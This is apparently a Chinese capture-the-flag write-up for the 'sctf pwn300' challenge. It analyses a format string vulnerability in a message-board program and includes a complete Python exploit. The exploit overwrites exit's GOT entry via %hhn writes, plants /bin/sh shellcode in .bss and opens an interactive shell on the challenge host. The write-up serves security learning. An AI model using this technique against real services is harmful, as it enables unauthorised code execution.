zoukankan      html  css  js  c++  java
  • sctf pwn300

      拿到程序后,拉入IDA,大概看了一番后,尝试运行,进一步了解程序的功能。

      发现NX enabled,No PIE。

      一号是一个猜数字的游戏,二号是一个留言本,三号是打印出留言的内容,四号是退出。

      观察IDA中逻辑后,发现一个格式化字符串漏洞。

      在三号功能(Print your message)中0x08048837的printf调用处,存在格式化字符串漏洞。这个0x08048830处的src是二号功能(Leave a message)处留言的地址。即我们可以控制输入的内容,并且输出。

      格式化字符串漏洞可以导致任意地址写,我们可以将GOT中exit(0x08049120)处的内容修改,这样在进行四号功能(exit)的时候,可以控制程序流程。设想将shellcode写入src中(.bss:08049180),修改GOT中exit内容至08049180,这样程序退出时,将执行shellcode,获取shell。通过验证,发现0x08049180确实可以执行。

       在进行输出留言之前,将留言的内容从src中(.bss:08049180)复制到了栈中。

      strcpy的dest的位置:ebp-40Ch;esp的位置:ebp-428h。那么esp距离dest的值为:(ebp-40Ch)-(ebp-428h)=1Ch。

      在08048837处调用printf时,esp距离dest为1Ch。因此,构造的任意写攻击的exploit:

    exit_in_got = 0x08049180
    set1 = pack('<I', 0x08049120) + '%%%dc' % ((exit_in_got & 0xff) - 4) + '%7$hhn'    #7$代表是第七个参数,hhn是指修改单个字节
    set2 = pack('<I', 0x08049121) + '%%%dc' % ((exit_in_got>>8 & 0xff) - 4) + '%7$hhn'

      set1的目的是修改0x08049120处的字节为0x80;set2的目的是修改0x08049121处的字节为0x91。(0x08049120就是GOT中exit的位置)。我们只需要修改低位的两个字节,高位的两个字节不用修改。

      exploit来自(囧,出处找不着了,如果涉嫌侵权,立马删掉。这个exploit思路很清晰):

    from struct import *
    from socket import *
    import time
    
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(('192.168.200.7', 10001)) #local debug
    
    shellcode = "x31xc0x31xd2x31xdbx31xc9x31xc0x31xd2x52x68x2fx2f" 
                    "x73x68x68x2fx62x69x6ex89xe3x52x53x89xe1x31xc0xb0" 
                    "x0bxcdx80"
    exit_in_got = 0x08049180
    set1 = pack('<I', 0x08049120) + '%%%dc' % ((exit_in_got & 0xff) - 4) + '%7$hhn'#7$代表是第七个参数,hhn是指修改单个字节
    set2 = pack('<I', 0x08049121) + '%%%dc' % ((exit_in_got>>8 & 0xff) - 4) + '%7$hhn'
    
    def read_until(val):
         buffer = ''
         while True:
              buffer += s.recv(2048)
              if val in buffer:
                   return buffer
    def write_val(val):
         print read_until('choice:')
         s.send('2
    ')
         print read_until('message')
         s.send(val + '
    ')
         print read_until('choice:')
         s.send('3
    ')
    write_val(set1)  #修改0x08049120处的一个字节
    write_val(set2)  #修改0x08049121处的一个字节
    write_val(shellcode)  #写入shellcode
    print read_until('choice:')
    
    time.sleep(5)
    s.send('4
    ')  #触发shellcode
    
    while 1:
         s.send(raw_input('$ ') + '
    ')
         time.sleep(1)
         print s.recv(1024)
  • 相关阅读:
    【java】一种自动生成数据库文档的方法
    sublime vintage mode 按住一个键(比如 j)不会重复的问题
    SQL Service服务更换帐户后无法启动的情况(Security 4625 Type 5)
    隐藏的计划任务运行,导致账户被锁的调查方法
    nodejs 热更新页面
    数组转tree arrToTree
    compose函数
    react 类组件的生命周期
    qiankun 微应用demo
    application 'xxx' died in status LOADING_SOURCE_CODE: [qiankun] You need to export lifecycle functions in xxx entry
  • 原文地址:https://www.cnblogs.com/wangaohui/p/4394167.html
Copyright © 2011-2022 走看看